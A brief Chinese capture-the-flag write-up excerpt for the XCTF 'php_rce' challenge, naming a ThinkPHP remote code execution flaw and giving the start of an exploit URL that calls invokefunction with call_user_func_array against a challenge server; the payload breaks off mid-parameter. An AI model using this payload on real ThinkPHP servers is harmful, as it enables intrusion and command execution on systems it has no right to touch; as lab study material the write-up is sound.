XCTF Web 高手區004: php_rce

題目： WP： 看到題目就知道是thinkphp的遠程執行漏洞 這裏大家可以看一下這位大佬是末初呀~的博客，他對thinkphp的相關知識講的很棒 我們直接上payload： http://111.198.29.45:45747/index.php? s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=sys

>>阅读原文<<